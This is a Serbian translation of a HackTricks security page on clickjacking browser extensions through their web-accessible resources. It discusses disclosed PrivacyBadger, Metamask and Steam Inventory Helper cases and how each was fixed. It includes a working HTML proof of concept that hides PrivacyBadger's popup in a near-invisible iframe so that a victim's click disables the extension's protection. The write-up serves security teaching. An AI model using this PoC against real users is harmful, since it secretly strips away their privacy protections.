6.1 KiB
BrowExt - ClickJacking
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova stranica će iskoristiti ranjivost ClickJacking-a u Browser ekstenziji.
Ako ne znate šta je ClickJacking, proverite:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Ekstenzije sadrže datoteku manifest.json
i ta JSON datoteka ima polje web_accessible_resources
. Evo šta Chrome dokumentacija kaže o tome:
Ovi resursi bi bili dostupni na veb stranici putem URL-a
chrome-extension://[PACKAGE ID]/[PATH]
, koji se može generisati pomoćuextension.getURL metode
. Resursi na dozvoljenoj listi se serviraju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama poput XHR.1
web_accessible_resources
u browser ekstenziji nisu dostupni samo putem veba; takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju mogućnost da:
- Promene stanje ekstenzije
- Učitaju dodatne resurse
- Interaguju sa pregledačem do određene mere
Međutim, ova funkcija predstavlja sigurnosni rizik. Ako resurs unutar web_accessible_resources
ima značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u spoljnu veb stranicu. Nesumnjivi korisnici koji posete ovu stranicu možda nehotice aktiviraju ovaj ugrađeni resurs. Takva aktivacija može dovesti do neželjenih posledica, zavisno od dozvola i sposobnosti resursa ekstenzije.
Primer PrivacyBadger-a
U ekstenziji PrivacyBadger, identifikovana je ranjivost koja se odnosi na skin/
direktorijum koji je deklarisan kao web_accessible_resources
na sledeći način (Proverite originalni blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Ova konfiguracija dovela je do potencijalnog sigurnosnog problema. Konkretno, fajl skin/popup.html
, koji se prikazuje prilikom interakcije sa ikonicom PrivacyBadger u pregledaču, mogao bi biti ugrađen unutar iframe
-a. Ovo ugrađivanje moglo bi biti iskorišćeno da bi se korisnici prevarili da nenamerno kliknu na "Onemogući PrivacyBadger za ovaj sajt". Takva akcija ugrozila bi privatnost korisnika onemogućavanjem zaštite PrivacyBadger-a i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se pogledati u primeru ClickJacking videa dostupnom na https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje /skin/*
sa liste web_accessible_resources
. Ova promena efikasno je umanjila rizik osiguravajući da sadržaj direktorijuma skin/
ne može biti pristupljen ili manipulisan putem web-pristupačnih resursa.
Popravka je bila jednostavna: ukloniti /skin/*
iz web_accessible_resources
liste.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Primer sa Metamaskom
Blog post o ClickJacking-u u Metamasku možete pronaći ovde. U ovom slučaju, Metamask je popravio ranjivost proverom da li je korišćeni protokol za pristup bio https:
ili http:
(a ne chrome:
na primer):
Još jedan rešen ClickJacking u Metamask ekstenziji bio je taj što su korisnici mogli kliknuti da dodaju na belu listu kada je stranica bila sumnjiva da je fising zbog “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Pošto je ta stranica bila ranjiva na ClickJacking, napadač bi mogao da je zloupotrebi prikazujući nešto normalno kako bi žrtva kliknula da je doda na belu listu ne primećujući, a zatim se vratila na stranicu za ribarenje koja će biti dodata na belu listu.
Primer sa Steam Inventory Helperom
Proverite sledeću stranicu da vidite kako je XSS u ekstenziji pregledača povezan sa ranjivošću ClickJacking:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}